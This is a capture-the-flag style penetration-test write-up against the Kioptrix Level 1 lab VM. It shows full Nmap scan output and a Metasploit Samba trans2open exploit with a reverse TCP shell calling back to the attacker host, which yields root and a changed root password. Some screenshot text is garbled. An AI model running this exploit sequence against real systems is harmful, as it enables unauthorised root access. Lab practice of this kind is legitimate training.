

Server IP Address	Ports Open
192.168.22.128	TCP: 22, 80, 111, 139, 443, 1024

Initial Shell Vulnerability Exploited:

Additional info about where the initial shell was acquired from:

Nmap Scan Results:

At first I found the correct IP address for the machine.

```
(root@kali)-[~]
# nmap -sP 192.168.22.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 17:19 EST
Nmap scan report for 192.168.22.1
Host is up (0.00098s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.22.2
Host is up (0.00073s latency).
MAC Address: 00:50:56:F4:EE:8A (VMware)
Nmap scan report for 192.168.22.128
Host is up (0.00011s latency).
MAC Address: 00:0C:29:1F:72:9D (VMware)
Nmap scan report for 192.168.22.254
Host is up (0.00020s latency).
MAC Address: 00:50:56:EA:59:47 (VMware)
Nmap scan report for 192.168.22.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.26 seconds
```

I found that the target runs two open services that I also listed in the table above based on Nmap results.

1. Port 22 OpenSSH 2.9p2
2. Port 80 Apache httpd 1.3.20
3. Port 111 2 (RPC #100000)
4. Port 139 Samba smbd
5. Port 443 Apache 1.3.20
6. Port 1024 1 (RPC #100024)

I performed an nmap check on the required IP address, and found that port 139 is open.

```

File Actions Edit View Help
(root@kali)~#
# nmap -p- 192.168.22.128 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 16:35 EST
Nmap scan report for 192.168.22.128
Host is up (0.00082s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ sshv1: Server supports SSHv1
|_ ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp   open  rpcbind     2 (RPC #100000)
|_ rpcinfo:
|   program version  port/proto  service
|   100000   2          111/tcp    rpcbind
|   100000   2          111/udp    rpcbind
|   100024   1          1024/tcp   status
|   100024   1          1026/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-date: 2024-01-14T13:52:37+00:00; -2d07h43m46s from scanner time.
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: 400 Bad Request
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|       SSL2_RC4_128_WITH_MD5
|       SSL2_RC2_128_CBC_WITH_MD5
|       SSL2_RC4_128_EXPORT40_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|       SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

```

```

|       SSL2_RC4_64_WITH_MD5
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
1024/tcp  open  status      1 (RPC #100024)
MAC Address: 00:0C:29:1F:72:9D (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_ clock-skew: -2d07h43m46s
|_ nbstat: NetBIOS name: K10PTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 0.82 ms 192.168.22.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.66 seconds

```

Then after we found the existing ports on the machine, in order to get to the shell I entered Metasploit to use the appropriate exploit (exploit/linux/samba/trans2open).

After I entered the appropriate values for the exploit, I activated it and managed to take over the machine with root privileges.

```
File Actions Edit View Help
root@kali: ~
(root@kali)~[~]
# msfconsole -q
msf6 > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.22.128  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                  |



Payload options (linux/x86/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.22.129  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                     | Target Type |
|----|--------------------------|-------------|
| 0  | Samba 2.2.x - Bruteforce | Bruteforce  |



View the full module info with the info, or info -d command.

msf6 exploit(linux/samba/trans2open) > set payload generic/sell_reverse_tcp
[-] The value specified for payload is not valid.
msf6 exploit(linux/samba/trans2open) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.22.128
```

```
rhosts => 192.168.22.128
msf6 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.22.129:4444
[*] 192.168.22.128:139 - Trying return address 0xbffffdc ...
[*] 192.168.22.128:139 - Trying return address 0xbffffcf ...
[*] 192.168.22.128:139 - Trying return address 0xbffffbf ...
[*] 192.168.22.128:139 - Trying return address 0xbffffaf ...
[*] 192.168.22.128:139 - Trying return address 0xbffff9f ...
[*] 192.168.22.128:139 - Trying return address 0xbffff8f ...
[*] 192.168.22.128:139 - Trying return address 0xbffff7f ...
[*] 192.168.22.128:139 - Trying return address 0xbffff6f ...
[*] Command shell session 1 opened (192.168.22.129:4444 → 192.168.22.128:1044) at 2024-01-15 15:55:45 -0500

[*] Command shell session 2 opened (192.168.22.129:4444 → 192.168.22.128:1045) at 2024-01-15 15:55:46 -0500
[*] Command shell session 3 opened (192.168.22.129:4444 → 192.168.22.128:1046) at 2024-01-15 15:55:47 -0500
[*] Command shell session 4 opened (192.168.22.129:4444 → 192.168.22.128:1047) at 2024-01-15 15:55:48 -0500

whoami
root
```

Vulnerability Explanation:

Vulnerabilities using port 139:

The vulnerability in this case is related to a weakness in the Linux Samba service. The version of port 139 is Samba smb, so to get to the shell we use Metasploit in order to target the attack on the machine, and thus we can gain access to the system.

Vulnerability Fix: To solve the problem of the hacks and the weakness, you need to update the version of smb in order to prevent it.

Update version in Linux

Initial Shell Screenshot:

```
id / r--r-- 1 john john 24 Oct 8 2009 .bash_logout
uid=0(root) gid=0(root) groups=99(nobody) .bash_profile
hostname 1 john john 124 Oct 8 2009 .bashrc
kioptrix.level1 1 john john 383 Oct 8 2009 .emacs
passwd 1 john john 16 Oct 8 2009 .mysql_history
New password: root
BAD PASSWORD: it is too short
Retype new password: root
passwd: all authentication tokens updated successfully
█ 3.00# []
$ sudo su
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy ...
```

Privilege Escalation:

Additional Priv Esc info:

Due to the fact that we received root permission in the initial shell, there is no need to explain about Privilege Escalation, because we have already reached the highest privileges